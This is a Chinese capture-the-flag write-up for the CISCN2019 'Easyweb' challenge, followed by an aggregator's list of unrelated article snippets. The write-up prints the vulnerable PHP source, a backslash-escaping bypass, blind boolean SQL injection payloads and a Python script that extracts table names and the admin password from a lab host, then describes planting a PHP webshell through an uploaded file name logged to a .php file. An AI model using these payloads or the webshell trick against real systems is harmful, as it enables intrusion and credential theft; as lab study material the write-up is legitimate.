[CISCN2019 总决赛 Day2 Web1]Easyweb ----不会编程的崽

CISCN的题质量还是很高的。

又是这熟悉的登陆界面。爆破?sql?还是xxe等。先看源码

 

估摸着也是sql注入。但似乎不是常规注入。同时扫描后台的结果应该也出来了,发现robots.txt

 有点懵,后边看了大佬的wp才知道,提示的是*.php.bak。怎么我的题和他们的不一样呢?算了,   不重要,后台源文件是image.php.bak

<?php
include "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes($id);
$path=addslashes($path);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

看的出来的确是sql注入,但是要绕过一点点东西。 

1.addslashes():这个函数的作用是在字符串中的特定字符前添加反斜杠。特定字符包括单引号 (')、双引号 (")、反斜杠 (\) 和 NULL 字符。例如,如果有一个字符串 $str = "It's a nice day";通过使用 addslashes 函数,可以将字符串转义为 "It\'s a nice day"

2.str_replace(array("\\0","%00","\\'","'"),"",$id); : 这行代码的作用是将$id字符串中的\0%00\''这四个子字符串替换为空字符串(前面第一个 \ 是用来转义的,使其不被解释为其原始含义,而是作为普通字符处理)。

3.因为要sql注入,所有要破开引号。但是引号被转义。若是当我输入"?id=\0",经过ddslashes() -->

"?id=\\0"经过str_replace ---> "?id=\" 。然后sql语句就变了这样

select * from images where id='\' or path='{$path}'

这样由于"\"右边的引号被转义,导致原有的sql语句引号闭合发生错误。相当于id=\' or path= 。然后就可以对path进行sql注入。

?id=\0&path=or%201=1%23
select * from images where id='\' or path='or 1=1%23'

闭合太巧妙了!!! 

既然可以sql注入那就,写脚本吧。先构造payload

url = 'http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=database()),1,1))=102)%23
url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),1,1))=102)%23
url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(password))from(users)),1,1))=102)%23

 1.因为我们要传入\0,而脚本也就将\当作转义字符,所以脚本里得写\\0.

2.因为引号被转义了,所以注入语句里要将users--16进制-->0x7573657273

运行脚本即可

import requestsflag=''
#url='http://73a45cbc-48af-4a46-99b7-3d6f5a2ece0d.node5.buuoj.cn:81/search.php?id=6=(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27geek%27),1,1))=70)'
for i in range(1,500,1):for y in range(1,128,1):#url = 'http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=database()),'+str(i)+',1))='+str(y)+')%23'#url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),'+str(i)+',1))='+str(y)+')%23'url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(password))from(users)),'+str(i)+',1))='+str(y)+')%23'data=requests.get(url)if "JFIF" in str(data.content):flag=flag+chr(y)print(flag)break

 

拿到密码。账号是admin,也是注入出来的,这里我没写。拿去登录

 

斯,文件上传 。不能上传php后缀的文件。随便写一个吧。发现它是将文件名写进了日志。日志还是php文件。那不就简单了,直接将文件名改成木马

拿蚁剑去连接就行了

质量还是很高的题目。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/770891.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

openssl 升级1.1.1.1k 到 3.0.13

下载 https://www.openssl.org/source/ tar -zxvf openssl-3.0.13.tar.gzcd openssl-3.0.13/./config enable-fips --prefix/usr/local --openssldir/usr/local/opensslmake && make install 将原有openssl备份 mv /usr/bin/openssl /usr/bin/openssl.bak mv /usr/i…

LeetCode Python - 73. 矩阵置零

目录 题目描述解法方法一&#xff1a;数组标记方法二&#xff1a;原地标记 运行结果方法一方法二 题目描述 给定一个 m x n 的矩阵&#xff0c;如果一个元素为 0 &#xff0c;则将其所在行和列的所有元素都设为 0 。请使用 原地 算法。 示例 1&#xff1a; 输入&#xff1a;…

Redis到底是多线程还是单线程?

Redis6.0之前&#xff1a;是单线程模式。 Redis6.0之后&#xff1a;Redis的IO线程是多线程&#xff0c;worker线程是单线程。 Redis6.0之前&#xff1a;单线程 Redis6.0之后&#xff1a;Redis的IO线程是多线程&#xff0c;worker线程是单线程。

适用于 Android 的 10 个优秀的数据恢复工具

在当今快节奏的数字时代&#xff0c;丢失 Android 设备中的重要数据可能是一场噩梦。无论是难忘的照片、重要的联系人还是重要的工作文档&#xff0c;您都需要一个可靠的恢复工具来恢复您的数据。值得庆幸的是&#xff0c;有许多高效的 Android 数据恢复工具可以帮助您恢复丢失…

【python】flask各种版本的项目,终端命令运行方式的实现

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

XUbuntu22.04之跨平台日历工具(二百二十四)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

WSL2 设置桥接模式

文章目录 一、前言二、准备阶段三、环境配置3.1 Type-V管理器环境配置3.2 新增.wslconfig 文件 四、遇到的问题以及解决方案 一、前言 ​ 使用 wsl 的过程中&#xff0c;会出现 WSL 的IP地址 找不到&#xff0c;或者无法和计算机通讯&#xff0c;搞 嵌入式 的话&#xff0c;还…

网络原理(7)——以太网数据帧和DNS协议(数据链路层和应用层)

目录 一、以太网数据帧&#xff08;数据链路层&#xff09; 二、DNS协议(域名解析系统&#xff0c;应用层协议) 一、以太网数据帧&#xff08;数据链路层&#xff09; 以太网横跨了数据链路层和物理层&#xff0c;这里只做简单介绍&#xff0c;因为普通程序员用不到这一块&am…

浅谈linux下的进程地址空间(虚拟地址/线性地址)

目录 什么是地址空间 - 虚拟地址空间 地址空间是如何设计的 为什么要有地址空间 什么是地址空间&#xff1f; 示例&#xff1a; 运行之后发现&#xff1a;同一个变量&#xff0c;同一个地址&#xff0c;在运行一段时间后&#xff0c;竟然会在同一时间出现两个不同的值&…

阿里云短信平台收费价格表,短信服务优惠0.032元一条

2024年阿里云短信服务优惠价格表&#xff0c;阿里云短信多少钱一条&#xff1f;低至0.01元一条&#xff0c;200条短信仅需2元&#xff0c;最高可领2000条短信免费赠送&#xff0c;短信套餐包2000条、5000条、5万条等均有活动&#xff0c;阿里云百科aliyunbaike.com整理2024年最…

数字乡村战略实施:科技引领农村经济社会全面发展

随着信息技术的快速发展&#xff0c;数字化已经成为推动经济社会发展的重要力量。在乡村振兴战略的大背景下&#xff0c;数字乡村战略的实施成为了引领农村经济社会全面发展的关键。本文将从数字乡村战略的内涵、实施现状、面临挑战及未来展望等方面&#xff0c;探讨科技如何引…

MySQL数据库备份策略与实践详解

目录 引言 一、MySQL数据库备份的重要性 &#xff08;一&#xff09;数据丢失的原因 &#xff08;二&#xff09;数据丢失的后果 二、MySQL备份类型 &#xff08;一&#xff09;根据数据库状态 &#xff08;二&#xff09;根据数据的完整性 &#xff08;三&#xff09;…

线程的状态:操作系统层面和JVM层面

在操作系统层面&#xff0c;线程有五种状态 初始状态&#xff1a;线程被创建&#xff0c;操作系统为其分配资源。 可运行状态(就绪状态)&#xff1a;线程被创建完成&#xff0c;进入就绪队列&#xff0c;参与CPU执行权的争夺。或因为一些原因&#xff0c;从阻塞状态唤醒的线程…

CCF-CSP认证考试 202212-2 训练计划 100分题解

更多 CSP 认证考试题目题解可以前往&#xff1a;CSP-CCF 认证考试真题题解 原题链接&#xff1a; 202212-2 训练计划 时间限制&#xff1a; 1.0s 内存限制&#xff1a; 512.0MB 问题背景 西西艾弗岛荒野求生大赛还有 n n n 天开幕&#xff01; 问题描述 为了在大赛中取得…

【Linux】进程的基本概念(进程控制块,ps命令,top命令查看进程)

目录 01.进程的基本概念 程序与进程 进程的属性 02.进程控制块&#xff08;PCB&#xff09; task_struct的内容分类 组织进程 03.查看进程 ps命令 top指令 在计算机科学领域&#xff0c;进程是一项关键概念&#xff0c;它是程序执行的一个实例&#xff0c;是操作系统的…

Mybatis的核心配置文件

MyBatis的全局配置文件mybatis-config.xml&#xff0c;配置内容如下&#xff1a; properties&#xff08;属性&#xff09;settings&#xff08;全局配置参数&#xff09;typeAliases&#xff08;类型别名&#xff09;typeHandlers&#xff08;类型处理器&#xff09;objectFa…

面试知识汇总——垃圾回收器(分代收集算法)

分代收集算法 根据对象的存活周期&#xff0c;把内存分成多个区域&#xff0c;不同区域使用不同的回收算法回收对象。 对象在创建的时候&#xff0c;会先存放到伊甸园。当伊甸园满了之后&#xff0c;就会触发垃圾回收。 这个回收的过程是&#xff1a;把伊甸园中的对象拷贝到F…

【物联网】Qinghub Kafka 数据采集

基础信息 组件名称 &#xff1a; kafka-connector 组件版本&#xff1a; 1.0.0 组件类型&#xff1a; 系统默认 状 态&#xff1a; 正式发布 组件描述&#xff1a;通用kafka连接网关&#xff0c;消费来自kafka的数据&#xff0c;并转发给下一个节点做相关的数据解析。 配置文…

网络七层模型之物理层:理解网络通信的架构(一)

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

如何忽略Chrome最小字号的限制

通过控制台调整字体大小时&#xff0c;可以发现即便设置了小于12px的字号&#xff0c;也并不会变小&#xff0c;这是因为Chrome默认最小字号为12px。 在Chrome设置中的外观选项卡中可以发现&#xff0c;默认字体是16px。将最小字号改为0&#xff0c;就能随意设置小于12px的字号…